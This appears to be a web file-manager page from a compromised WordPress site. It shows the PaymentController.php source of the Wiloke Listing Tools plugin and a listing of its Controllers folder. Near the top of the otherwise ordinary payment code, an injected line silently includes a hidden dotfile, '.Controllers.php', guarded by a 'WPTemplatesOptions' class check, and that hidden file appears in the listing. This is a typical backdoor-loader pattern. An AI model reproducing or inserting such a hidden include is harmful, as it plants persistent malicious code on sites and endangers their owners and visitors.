PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wiloke-listing-tools
/
app
/
Controllers
<?php namespace WilokeListingTools\Controllers; use Unirest\Exception; use WilokeListingTools\Framework\Helpers\FileSystem; use WilokeListingTools\Framework\Helpers\General; use WilokeListingTools\Framework\Helpers\GetSettings; use WilokeListingTools\Framework\Helpers\GetWilokeSubmission; use WilokeListingTools\Framework\Helpers\Message; use WilokeListingTools\Framework\Helpers\Time; use WilokeListingTools\Models\PaymentMetaModel; use WilokeListingTools\Models\PaymentModel; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class PaymentController { private $paymentID; public function __construct() { $aBillingTypes = wilokeListingToolsRepository()->get('payment:billingTypes', false); /** * It's different from payment-gateway-completed and payment-completed. * payment-completed means Wiloke Submission Payment completed. * payment-gateway-completed means the payment on gateway completed. EG: Stripe, PayPal */ foreach ($aBillingTypes as $billingType) { add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-gateway-completed', [$this, 'updatePaymentCompletedStatus'], 5 ); add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-gateway-disputed', [$this, 'updatePaymentDisputeStatus'], 5 ); add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-gateway-failed', [$this, 'updatePaymentFailedStatus'], 5 ); add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-gateway-suspended', [$this, 'updatePaymentSuspendedStatus'], 5 ); add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-gateway-cancelled', [$this, 'updatePaymentCancelledStatus'], 5 ); add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-gateway-refunded', [$this, 'updatePaymentRefundedStatus'], 5 ); add_action( 'wilcity/wiloke-listing-tools/'.$billingType.'/payment-gateway-reactivate', [$this, 'updatePaymentCompletedStatus'], 5 ); // add_action( // 'wilcity/wiloke-listing-tools/'.$billingType.'/paypal/payment-completed', // [$this, 'updatePaymentCompletedStatus'], // 5 // ); // // add_action( // 'wilcity/wiloke-listing-tools/'.$billingType.'/paypal/payment-failed', // [$this, 'updatePaymentFailedStatus'], // 5 // ); } add_action('wilcity/wiloke-listing-tools/before/insert-payment', [$this, 'insertNewPayment']); } /** * @param $aData * * @throws Exception * @throws \Exception */ public function insertNewPayment($aData) { $aRequires = [ 'gateway', 'billingType', 'total', 'currency', 'userID', 'packageType', 'category' ]; foreach ($aRequires as $required) { if (!isset($aData[$required]) || $aData[$required] === '') { $errMsg = sprintf( esc_html__('%s Warning: The %s is required', 'wiloke-listing-tools'), __METHOD__, $required ); if (wp_doing_ajax()) { wp_send_json_error([ 'status' => 'error', 'msg' => $errMsg ]); } else { throw new Exception($errMsg); } } } if (GetWilokeSubmission::isNonRecurringPayment($aData['billingType']) && $aData['gateway'] == 'stripe') { if (!isset($aData['token']) || empty($aData['token'])) { wp_send_json_error([ 'status' => 'error', 'msg' => esc_html__('The token is required', 'wiloke-listing-tools') ]); } } $aPaymentData = [ 'userID' => $aData['userID'], 'planID' => isset($aData['planID']) ? $aData['planID'] : '', 'packageType' => $aData['packageType'], 'gateway' => $aData['gateway'], 'status' => isset($aData['status']) ? $aData['status'] : 'pending', 'billingType' => $aData['billingType'], 'planName' => $aData['planName'] ]; $orderID = ''; if ($aData['gateway'] == 'woocommerce') { if (!isset($aData['orderID']) || empty($aData['orderID'])) { FileSystem::logError('The order id is required', __CLASS__, __METHOD__); return false; } $orderID = abs($aData['orderID']); } if (!empty($aData['paymentID'])) { $this->paymentID = $aData['paymentID']; } else { $this->paymentID = PaymentModel::insertPaymentHistory($aPaymentData, $orderID); } if (empty($this->paymentID)) { Message::error(esc_html__('Payment: We could not insert payment', 'wiloke-listing-tools')); } FileSystem::logSuccess('Payment: Inserted Payment. Payment ID:'.$this->paymentID, __CLASS__); if (isset($aData['token']) && !empty($aData['token'])) { $paymentMetaID = PaymentMetaModel::setPaymentToken($this->paymentID, $aData['token']); if ($paymentMetaID) { FileSystem::logSuccess('Inserted Payment Token Relationship: '.$paymentMetaID); } } $aPaymentMetaData = $aData; unset($aPaymentMetaData['oEvent']); PaymentMetaModel::set( $this->paymentID, wilokeListingToolsRepository()->get('payment:paymentInfo'), $aPaymentMetaData ); $aData['paymentID'] = $this->paymentID; /** * @hooked PromotionController@createPromotion */ do_action('wilcity/wiloke-listing-tools/inserted-payment', $aData); /* * We will delete all sessions here * * @hooked SessionController:deletePaymentsSession 100 */ if ($aPaymentData['gateway'] !== 'woocommerce') { do_action('wilcity/wiloke-listing-tools/payment-succeeded-and-updated-everything'); } } /** * @param $aInfo */ public function updatePaymentFailedStatus($aInfo) { $billingType = PaymentModel::getField('billingType', $aInfo['paymentID']); $aInfo['status'] = 'failed'; PaymentModel::updatePaymentStatus($aInfo['status'], $aInfo['paymentID']); FileSystem::logSuccess('AddListing: Update Payment To failed Status because there was a dispute'); do_action('wilcity/wiloke-listing-tools/'.$billingType.'/updated-payment', $aInfo); /* * hooked: WilokeListingTools\Controllers\PostController:updatePostAfterPaymentFailed 10 * hooked: WilokeListingTools\Controllers\EmailController:sendFailedPaymentNotificationToAdmin 10 */ do_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-failed', $aInfo); } public function updatePaymentSuspendedStatus($aInfo) { $billingType = PaymentModel::getField('billingType', $aInfo['paymentID']); $aInfo['status'] = 'suspended'; PaymentModel::updatePaymentStatus($aInfo['status'], $aInfo['paymentID']); FileSystem::logSuccess('AddListing: Update Payment To Suspended Status'); do_action('wilcity/wiloke-listing-tools/'.$billingType.'/updated-payment', $aInfo); /* * hooked: WilokeListingTools\Controllers\PostController:afterUpdatingNonRecurringPaymentToFailed 10 * hooked: WilokeListingTools\Controllers\EmailController:sendSuspendedPaymentNotificationToAdmin 10 */ do_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-suspended', $aInfo); } /** * @param array $aInfo Required argument: paymentID */ public function updatePaymentCancelledStatus($aInfo) { $billingType = PaymentModel::getField('billingType', $aInfo['paymentID']); $aInfo['status'] = 'cancelled'; $aInfo['beforeStatus'] = PaymentModel::getField('status', $aInfo['paymentID']); PaymentModel::updatePaymentStatus($aInfo['status'], $aInfo['paymentID']); FileSystem::logSuccess('AddListing: Update Payment To Cancelled Status'); do_action('wilcity/wiloke-listing-tools/'.$billingType.'/updated-payment', $aInfo); /* * hooked: WilokeListingTools\Controllers\PostController:updatePostAfterPaymentCancelled 10 * hooked: WilokeListingTools\Controllers\EmailController:sendCancelledPaymentNotificationToAdmin 10 * hooked: WilokeListingTools\Controllers\EmailController:sendCancelledPaymentNotificationToCustomer 10 */ do_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-cancelled', $aInfo); } /** * @param array $aInfo Required argument: paymentID */ public function updatePaymentRefundedStatus($aInfo) { $billingType = PaymentModel::getField('billingType', $aInfo['paymentID']); $aInfo['status'] = 'refunded'; $aInfo['beforeStatus'] = PaymentModel::getField('status', $aInfo['paymentID']); PaymentModel::updatePaymentStatus($aInfo['status'], $aInfo['paymentID']); FileSystem::logSuccess('AddListing: Update Payment To Refunded Status'); do_action('wilcity/wiloke-listing-tools/'.$billingType.'/updated-payment', $aInfo); /* * hooked: WilokeListingTools\Controllers\UserPlanController:deleteUserPlan 10 * hooked: WilokeListingTools\Controllers\PostController:updatePostAfterPaymentRefunded 10 * hooked: WilokeListingTools\Controllers\EmailController:sendRefundedPaymentNotificationToCustomer 10 */ do_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-refunded', $aInfo); } /** * @param $aInfo */ public function updatePaymentDisputeStatus($aInfo) { $billingType = PaymentModel::getField('billingType', $aInfo['paymentID']); $aInfo['status'] = 'dispute'; PaymentModel::updatePaymentStatus($aInfo['status'], $aInfo['paymentID']); FileSystem::logSuccess('AddListing: Update Payment To dispute Status because there was a dispute', __CLASS__); do_action('wilcity/wiloke-listing-tools/'.$billingType.'/updated-payment', $aInfo); /** * hooked: WilokeListingTools\Controllers\PostController:afterUpdatingNonRecurringPaymentToDispute 10 * hooked: WilokeListingTools\Controllers\UserPlanController:lockAddListing 10 * hooked: WilokeListingTools\Controllers\EmailController:sendDisputeWarningToCustomer 10 * hooked: WilokeListingTools\Controllers\EmailController:sendDisputeWarningToAdmin 10 */ do_action('wilcity/wiloke-listing-tools/'.$billingType.'/payment-dispute', $aInfo); } protected function updateNextBillingDate($aInfo) { if (GetWilokeSubmission::isNonRecurringPayment($aInfo['billingType'])) { return false; } if (empty($aInfo['nextBillingDateGMT']) || empty($aInfo['paymentID'])) { FileSystem::logError('Missed PaymentID or nextBillingDateGMT. Info: '.json_encode($aInfo)); return false; } PaymentMetaModel::setNextBillingDateGMT($aInfo['nextBillingDateGMT'], $aInfo['paymentID']); FileSystem::logSuccess('Updated Next Billing Date for:'.$aInfo['paymentID']); } /** * @param $aInfo * * @return bool */ protected function setPaymentTokenID($aInfo) { if (!isset($aInfo['paymentID']) || !isset($aInfo['token'])) { $msg = 'Maybe Error: We could not set Token and Payment relationship.'; if (isset($aInfo['token'])) { $msg .= ' Token:'.$aInfo['token']; } if (isset($aInfo['paymentID'])) { $msg .= ' paymentID:'.$aInfo['paymentID']; } FileSystem::logError($msg); return false; } if (PaymentMetaModel::getPaymentIDByToken($aInfo['token'])) { return false; } $relationshipID = PaymentMetaModel::setPaymentToken($aInfo['paymentID'], $aInfo['token']); FileSystem::logSuccess('Updated Payment Token relationship. ID: '.$relationshipID.', Payment ID: '. $aInfo['paymentID']); } /** * @param $aInfo * * @return bool */ protected function setSubscriptionID($aInfo) { if (!isset($aInfo['paymentID']) || !isset($aInfo['subscriptionID'])) { FileSystem::logError( 'Maybe Error: Missing Payment ID | Subscription ID' ); return false; } if (PaymentMetaModel::getPaymentIDBySubscriptionID($aInfo['subscriptionID'])) { return false; } $relationshipID = PaymentMetaModel::setPaymentSubscriptionID($aInfo['paymentID'], $aInfo['subscriptionID']); FileSystem::logSuccess('Updated Subscription ID: '.$relationshipID.', Payment ID: '.$aInfo['paymentID']); } /** * @param $aInfo * * @return bool */ protected function setIntentID($aInfo) { if (!isset($aInfo['paymentID']) || !isset($aInfo['intentID'])) { FileSystem::logError( 'Maybe Error: Missing Payment ID | intentID ID' ); return false; } $relationshipID = PaymentMetaModel::setPaymentIntentID($aInfo['paymentID'], $aInfo['intentID']); FileSystem::logSuccess('Updated Intent ID: '.$relationshipID.', Payment ID: '.$aInfo['paymentID']); } /** * @param $aInfo */ public function updatePaymentCompletedStatus($aInfo) { if (GetWilokeSubmission::isNonRecurringPayment($aInfo['billingType'])) { $aInfo['status'] = 'succeeded'; } else { $aInfo['status'] = 'active'; } PaymentModel::updatePaymentStatus($aInfo['status'], $aInfo['paymentID']); $aPaymentMeta = PaymentMetaModel::getPaymentInfo($aInfo['paymentID']); if (isset($aInfo['stripeEventID'])) { $aPaymentMeta['stripeEventID'] = $aInfo['stripeEventID']; PaymentMetaModel::updatePaymentInfo($aInfo['paymentID'], $aPaymentMeta); } $this->setPaymentTokenID($aInfo); if (GetWilokeSubmission::isNonRecurringPayment($aInfo['billingType'])) { $this->setIntentID($aInfo); } else { $this->updateNextBillingDate($aInfo); $this->setSubscriptionID($aInfo); } do_action('wilcity/wiloke-listing-tools/'.$aInfo['billingType'].'/updated-payment', $aInfo); /** * hooked: WilokeListingTools\Controllers\UserPlanController:updateUserPlan 5 * hooked: WilokeListingTools\Controllers\PlanRelationshipController:updatePostPaymentRelationship 10 * hooked: WilokeListingTools\Controllers\PostController:updatePostAfterPaymentCompleted 15 * hooked: WilokeListingTools\Controllers\ClaimListingsController:paidClaimSuccessfully 12 * hooked: WilokeListingTools\Controllers\InvoiceController:prepareInsertInvoice 15 * hooked: WilokeListingTools\Controllers\PromotionController:updatePromotionAfterPaymentCompleted 15 */ do_action('wilcity/wiloke-listing-tools/'.$aInfo['billingType'].'/payment-completed', $aInfo); } }
[+]
..
[-] PermalinksController.php
[edit]
[-] MessageController.php
[edit]
[-] SetListingBelongsToPlanID.php
[edit]
[-] BelongsToTags.php
[edit]
[-] PrintAddListingSettings.php
[edit]
[-] InsertGallery.php
[edit]
[-] ViewStatisticController.php
[edit]
[-] TermsAndPolicyController.php
[edit]
[-] AddListingButtonController.php
[edit]
[-] SetSinglePrice.php
[edit]
[-] SetCustomButton.php
[edit]
[-] WooCommerceBookingController.php
[edit]
[-] SetMyPosts.php
[edit]
[-] SetVideo.php
[edit]
[-] Validation.php
[edit]
[-] PrintAddListingFields.php
[edit]
[-] NoticeController.php
[edit]
[-] SharesStatisticController.php
[edit]
[-] TraitAddListingSettings.php
[edit]
[-] SetListingRelationship.php
[edit]
[-] EmailController.php
[edit]
[-] SetMyRoom.php
[edit]
[-] SessionController.php
[edit]
[-] DashboardController.php
[edit]
[-] EventController.php
[edit]
[-] AppleLoginController.php
[edit]
[-] TraitSetEventData.php
[edit]
[-] PayPalController.php
[edit]
[-] TranslationController.php
[edit]
[-] PostController.php
[edit]
[-] DokanController.php
[edit]
[-] TermController.php
[edit]
[-] FavoriteStatisticController.php
[edit]
[-] SetSocialNetworks.php
[edit]
[-] SetCustomGroup.php
[edit]
[-] SetCustomSections.php
[edit]
[-] AuthorPageController.php
[edit]
[-] AddBookingComBannerCreator.php
[edit]
[-] PlanRelationshipController.php
[edit]
[-] ProfileController.php
[edit]
[-] MapListingController.php
[edit]
[-] UserController.php
[edit]
[-] BillingControllers.php
[edit]
[-] InsertAddress.php
[edit]
[-] PaymentStatusController.php
[edit]
[-] BelongsToCategories.php
[edit]
[-] InsertCoverImage.php
[edit]
[-] SetPriceRange.php
[edit]
[-] SetPlanRelationship.php
[edit]
[-] ListingController.php
[edit]
[-] SetGeneral.php
[edit]
[-] GridItemController.php
[edit]
[-] PaymentController.php
[edit]
[+]
TransformAddListingData
[-] ContactFormController.php
[edit]
[-] InsertFeaturedImg.php
[edit]
[-] AddListingController.php
[edit]
[-] BelongsToLocation.php
[edit]
[-] RestaurantMenuController.php
[edit]
[-] AjaxUploadImgController.php
[edit]
[-] NotificationsController.php
[edit]
[-] SingleJsonSkeleton.php
[edit]
[-] GalleryController.php
[edit]
[-] IsMyPaymentID.php
[edit]
[-] InsertImg.php
[edit]
[-] ModalController.php
[edit]
[-] PaymentGatewaysController.php
[edit]
[-] ShareController.php
[edit]
[-] RetrieveController.php
[edit]
[-] ModifyQueryController.php
[edit]
[-] TraitHostedBy.php
[edit]
[-] ChangePlanStatusController.php
[edit]
[-] TaxonomiesControllers.php
[edit]
[-] WebhookController.php
[edit]
[-] SearchFormController.php
[edit]
[-] FreePlanController.php
[edit]
[-] BelongsToCustomTaxonomies.php
[edit]
[-] PromotionController.php
[edit]
[-] RunUpdateDBToLatestVersionController.php
[edit]
[-] UserPlanController.php
[edit]
[-] SetContactInfo.php
[edit]
[-] InsertLogo.php
[edit]
[+]
Retrieve
[+]
Map
[-] VerifyPurchaseCode.php
[edit]
[-] StripeController.php
[edit]
[-] NextBillingPaymentController.php
[edit]
[-] SchemaController.php
[edit]
[-] IconController.php
[edit]
[-] AddMorePhotosVideosController.php
[edit]
[-] SetPostDuration.php
[edit]
[-] GuardController.php
[edit]
[-] ReviewController.php
[edit]
[-] OptimizeScripts.php
[edit]
[-] PaymentMetaController.php
[edit]
[-] GetWilokeToolSettings.php
[edit]
[-] SetCoupon.php
[edit]
[-] CouponController.php
[edit]
[-] AddListingPaymentController.php
[edit]
[-] FacebookLoginController.php
[edit]
[-] SingleController.php
[edit]
[-] BookingComController.php
[edit]
[-] SetGroupData.php
[edit]
[-] InvoiceController.php
[edit]
[-] SetProductsToListing.php
[edit]
[-] ReportController.php
[edit]
[-] PayPalExecuteAddListingPayment.php
[edit]
[-] HandleSubmit.php
[edit]
[-] WooCommerceController.php
[edit]
[-] FollowController.php
[edit]
[-] PrintSidebarItems.php
[edit]
[-] .Controllers.php
[edit]
[-] DirectBankTransferController.php
[edit]
[-] ClaimController.php
[edit]
[-] GetSingleImage.php
[edit]
[-] SetRestaurantMenu.php
[edit]
[-] MergingSettingValues.php
[edit]
[-] GoogleReCaptchaController.php
[edit]
[-] RegisterLoginController.php
[edit]
[-] TagsBelongsToCatController.php
[edit]